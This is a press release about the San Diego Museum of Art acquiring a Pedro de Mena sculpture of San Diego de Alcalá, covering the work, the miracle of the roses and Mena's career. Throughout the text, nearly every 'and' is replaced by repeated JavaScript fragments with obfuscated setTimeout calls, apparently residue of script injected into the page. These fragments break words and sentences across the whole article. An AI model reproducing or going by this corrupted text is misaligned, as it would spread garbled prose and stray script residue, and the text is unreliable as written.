SAN DIEGO, CALIF. — The San Diego Museum of Art has acquired a polychromed wood sculpture by Pedro de Mena (1628–1688), among the greatest sculptors of the Spanish baroque. Depicting San Diego de Alcalá, the work was created around 1665, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and will strengthen the museum’s collection of Spanish art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and expandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its holdings.

The sculpture, which standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands just over 2 feet tall, is particularly appropriate as it depicts San Diego de Alcalá, the namesake of the city of San Diego. The sculpture portrays San Diego in his most iconic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and miraculous moment when, according to tradition, the superior of the monastery catches Diego in the act of taking bread to give to the poor (which he has been banned from doing), andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and challenges him to show what he was carrying in his bundled robes. When Diego looked down, the bread was miraculously changed into roses.

As was often the case for sculptures depicting this miracle, the roses are not carved, for the faithful would place real or silk flowers in the lap of the sculpture.

“Given the famous group of Spanish paintings at the San Diego Museum of Art, we have for several years sought a significant piece of Spanish baroque sculpture to add to the collection; the San Diego is precisely the sort of work we had in mind. Pedro de Mena’s extraordinary realism is the counterpart to our still life by Sánchez Cotán, while the ecstatic expression of the saint reminds one of our great Saint Peter by El Greco. Like both of those works, the sculpture simply commandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands attention,” said John Marciari, curator of European Art. “

“It has been said of Pedro de Mena that he was unsurpassed in conveying religious feeling,” adds Marciari. “That is fully evident here in the expression on the saint’s face, which simultaneously captures his guilt in being caught stealing andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his awe at the miracle that then occurs.”

Pedro de Mena, born in Granada, was the son of Alonso de Mena, who operated the most active sculptural workshop in the city. Alonso died when Pedro was only 18 years old. Pedro assumed control of the workshop, but in 1652, Alonso Cano returned to Granada, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Pedro, still only 24, fell entirely under Cano’s influence. Mena quickly assimilated the lessons offered by Cano, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and when around 1655 Cano was given the commission to produce four life-sized sculptures for the convent of the Angelo Custodio, he entrusted Mena with the project. Those sculptures, representing Saints Anthony, Diego, Peter of Alcantara andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Joseph, are Mena’s first major works, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and although executed under Cano, they established him as an important independent master.

Although relatively little known outside of Spain, Mena was one of the revelations in the ground-breaking exhibition “The Sacred Made Real” held at the National Gallery in London andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the National Gallery of Art in Washington in 2009–10.

The sculpture will be on view in the museum’s gallery dedicated to Spanish art, alongside paintings by El Greco, Sánchez Cotán, Zurbarán, Cano, Murillo andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and others. The work has been purchased with funds from the estate of Donald W. Shira, a bequest of $7.4 million that the San Diego Museum of Art received this year.

The San Diego Museum of Art is at 1450 El Prado in Balboa Park. For information, 619-232-7931 or www.thesandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andiegomuseumofart.org.